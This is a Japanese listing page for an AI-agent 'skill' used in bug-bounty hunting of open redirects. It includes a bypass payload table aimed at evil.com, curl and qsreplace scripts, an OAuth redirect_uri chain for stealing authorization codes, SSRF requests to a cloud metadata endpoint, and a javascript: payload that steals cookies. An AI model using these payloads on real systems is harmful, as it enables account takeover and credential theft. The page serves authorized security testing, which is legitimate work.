hunt-open-redirect について
Webアプリのオープンリダイレクトを調べるセキュリティテスト用スキルです。パラメーターの発見や検証回避に加え、OAuthやSSRFなどとの連鎖も確認できます。
主な機能
- 01リダイレクトパラメーターの発見
- 02URL検証回避用ペイロード
- 03OAuth redirect_uriの連鎖テスト
- 04サーバー側リダイレクトとSSRFの確認
- 05深刻度と検証のガイド
活用シーン
- 01ログイン・ログアウト時のリダイレクト検査
- 02OAuth認可エンドポイントのredirect_uri検査
- 03フィッシングやSSRFにつながるリダイレクトの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-open-redirectインストール後、Claude Code で/hunt-open-redirectを入力して読み込まれたか確認します。
詳細
HUNT-OPEN-REDIRECT — オープンリダイレクト
使用するタイミング
ログイン/ログアウトのフロー、OAuth 認可エンドポイント、言語切り替え機能、決済後のリダイレクト、または操作後にユーザーのリダイレクト先を制御するパラメーターに、?url=、?next=、?redirect=、?return=、?redirect_uri= などのリダイレクトパラメーターがある場合に使用します。オープンリダイレクト単独の深刻度はほとんどのプログラムで低ですが、OAuth トークン窃取(redirect_uri のバイパス)や SSRF へのエスカレーションと組み合わせると、深刻度は重大になります。redirect_uri を設定できる OAuth 認可エンドポイントは、最も価値の高い標的です。
最重要標的
オープンリダイレクト単独の深刻度は低です。OAuth と組み合わせると重大になります(ATO)。
最も価値の高い組み合わせ:
- オープンリダイレクト → OAuth 認可コード窃取 — redirect_uri に信頼されたドメイン上のオープンリダイレクトが含まれている → 認可コードが攻撃者に送信される → ATO
- オープンリダイレクト → フィッシング — URL が target.com で始まるため、ユーザーが信頼する
- オープンリダイレクト → SSRF へのエスカレーション — リダイレクトがサーバー側で実行される場合 → SSRF
- オープンリダイレクト → セッション固定 — 事前設定したセッションを使ってログインエンドポイントへユーザーを誘導する
攻撃対象領域の兆候
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
バイパステーブル
| テクニック | ペイロード |
|---|---|
| 基本形 | https://evil.com |
| プロトコル相対 | //evil.com |
| バックスラッシュによるバイパス | /\\evil.com |
| アットマークの混同 | https://[email protected] |
| ダブルスラッシュ | //evil.com/%2F.. |
| URL エンコード | %2Fevil.com |
| ヌルバイト | evil.com%00target.com |
| 空白文字 | evil.com%09 または %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| サブドメイン | https://target.com.evil.com |
| フラグメント | https://evil.com#.target.com |
よくある根本原因
- 検証なしのパラメーター許可リスト — 開発者はリダイレクトパラメーター(
url、next、return)のリストを管理していますが、検証するのはパラメーターの存在だけで、値は検証していません。 - ユーザーの利便性を高めるリダイレクト機能 — ログイン後のリダイレクト、ログアウト後のリダイレクト、言語切り替え機能では、いずれもユーザーが指定したリダイレクト先へのリダイレクトが必要です。
- サードパーティ製 OAuth/SAML ライブラリ — 多くの認証ライブラリでは、
redirect_uriの検証を緩く設定できます(前方一致、後方一致、ワイルドカード)。これにより、攻撃者が制御するサブドメインにも一致してしまいます。 - SSO 実装の近道 — 開発者が
redirect_uriに現在のリクエストの Host ヘッダーを受け入れるよう設定し、Host ヘッダーを利用したオープンリダイレクトを可能にします。 - JSON 本文は安全という思い込み — API リクエストの POST ベースのリダイレクトパラメーターでは、GET ベースのリダイレクトで適用される検証が省略されることがよくあります。
- フラグメントと改行の処理 — URL パーサーによって URL の終端とみなす位置が異なります。改行や復帰文字によって URL 検証をすり抜けられる場合があります。
実例
シナリオ A — OAuth redirect_uri のワイルドカード → ワンクリックでの ATO
あるライドシェアプラットフォームの OAuth 実装では、*.uberinternal.com に一致する redirect_uri の値が受け入れられていました。攻撃者は、取得可能なまま放置されていた support.uberinternal.com サブドメインを発見しました。redirect_uri=https://support.uberinternal.com/oauth-callback を指定した認可 URL を作成することで、攻撃者はリンクをクリックした任意のユーザーの認可コードを傍受し、それをアクセストークンと交換して、アカウントを完全に乗っ取ることができました。影響:重大 — 細工したリンクひとつでユーザーアカウントを完全に乗っ取り可能です。
シナリオ B — パスワードリセットメール内のログアウトリダイレクト → セッションハイジャック
大手 E コマースプラットフォームのパスワードリセットメールには、redirect_to パラメーターを含むログアウトリンクが記載されていました:https://target.com/logout?redirect_to=https://target.com/reset-complete。redirect_to パラメーターは https://evil.com を含む任意の URL を受け入れていました。メールの侵害または MitM によってリセットメールを傍受できる攻撃者は、リダイレクト先を変更できました。被害者がパスワードをリセットすると、セッション Cookie が有効なまま攻撃者のサイトにリダイレクトされ、クロスオリジンで情報を持ち出される可能性がありました。影響:パスワードリセット後のセッションハイジャック。
段階的なハンティング手法
フェーズ 1 — リダイレクトパラメーターの検出
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
フェーズ 2 — 基本テスト
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
フェーズ 3 — バイパス手法
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://[email protected]"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
フェーズ 4 — OAuth チェーンのテスト
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl --max-time 30 --connect-timeout 10 -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
フェーズ 5 — サーバーサイドリダイレクト(SSRF へのエスカレーション)
# If the app fetches the redirect target server-side (302 fetch follow)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-[REDACTED_IP]/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/fetch?url=http://[REDACTED_IP]/latest/meta-data/" \
-H "Cookie: $SESSION"
自動化
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
チェーン表
| オープンリダイレクトの発見 | チェーン先 | 影響 |
|---|---|---|
| 任意のオープンリダイレクト | OAuth redirect_uri のバイパス | 認可コードの窃取 → ATO |
| 任意のオープンリダイレクト | 対象ドメインを使ったフィッシング URL | ソーシャルエンジニアリング |
| サーバーサイドリダイレクト | リダイレクトをたどる SSRF | 内部サービスへのアクセス |
| ログアウトリダイレクト | セッション固定 | 既知のセッションで強制的にログインさせる |
検証
✅ レスポンスの Location ヘッダーが evil.com(自分が管理するドメイン)を指している ✅ ブラウザーが攻撃者の管理するページへのリダイレクトをたどる
深刻度:
- リダイレクト単独:低(ほとんどのプログラム)
- OAuth 認可コードの窃取 → ATO につながる場合:高/重大
- ブランド名を使ったフィッシングにつながる場合:低〜中
- サーバーサイド → SSRF:高
検証
このセルフテストを実行して、オープンリダイレクトのハンティングに備えられていることを確認します:
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-open-redirect" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用する準備ができていることを確認できます。
落とし穴
- オープンリダイレクト単独では深刻度は低い — OAuth/ATO につながらないオープンリダイレクトは、ほとんどのバグバウンティプログラムで低額の報奨金となります。
- リダイレクト内の
javascript:スキーム — リダイレクトパラメーター内のjavascript:alert(1)は XSS であり、オープンリダイレクトではありません。両者を区別してください。 - リダイレクト内の CRLF インジェクション — リダイレクトパラメーター内の
%0d%0aによって、ヘッダーインジェクションが可能になります。これはオープンリダイレクトより影響が大きい問題です。 - メタリフレッシュリダイレクト —
<meta http-equiv="refresh">によるリダイレクトは、3xx より悪用が困難です。攻撃シナリオ(自動化ではなくフィッシング)を記録してください。
関連スキル
hunt-oauth— OAuth のredirect_uriにおけるオープンリダイレクトは、Low の検出結果を Critical の ATO に変えます。チェーンのプリミティブ:redirect_uri=https://target.com/redirect?url=https://evil.com→ 認証コードが evil.com に届く → トークンと交換 → ATO。hunt-ssrf— 302 リダイレクトがサーバー側で追跡される場合(画像プロキシ、リンクプレビューなど)、オープンリダイレクトは SSRF になります。チェーンのプリミティブ:サーバー側の URL フェッチャーが、攻撃者のホストからの 302 を追跡してhttp://[REDACTED_IP]/latest/meta-data/にアクセス → クラウド認証情報を取得。hunt-ato— リターン URL にオープンリダイレクトを含むパスワードリセットリンクは、トークンを漏えいさせます。チェーンのプリミティブ:リセットメールにhttps://target.com/reset?token=X&redirect=https://evil.comが含まれる → Referer またはリダイレクト経由でトークンを流出。hunt-xss— リダイレクトパラメーター内のjavascript:プロトコルは、ワンクリックで発生する XSS を引き起こします。チェーンのプリミティブ:?redirect=javascript:alert(document.cookie)→ サーバー側へのインジェクションなしでセッション Cookie を窃取。hunt-host-header— Host ヘッダーのインジェクションによるオープンリダイレクトは、この脆弱性クラスと重なります。チェーンのプリミティブ:Host: evil.com → サーバーが Host からリダイレクト先の Location を構築 → 被害者が攻撃者のホストにリダイレクトされる。security-arsenal— オープンリダイレクトのバイパステーブルを読み込みます:プロトコル相対 URL の//evil.com、バックスラッシュの\\evil.com、アットマークの@evil.com、二重スラッシュのエンコード、ヌルバイト、空白のインジェクション、data: URI。triage-validation— 重大度判定前のゲートを適用します。単独のオープンリダイレクトは、ほとんどのプログラムで Low です。チェーン(OAuth トークンの窃取、セッション固定化、SSRF へのエスカレーション)を実証した場合にのみ、High 以上で報告してください。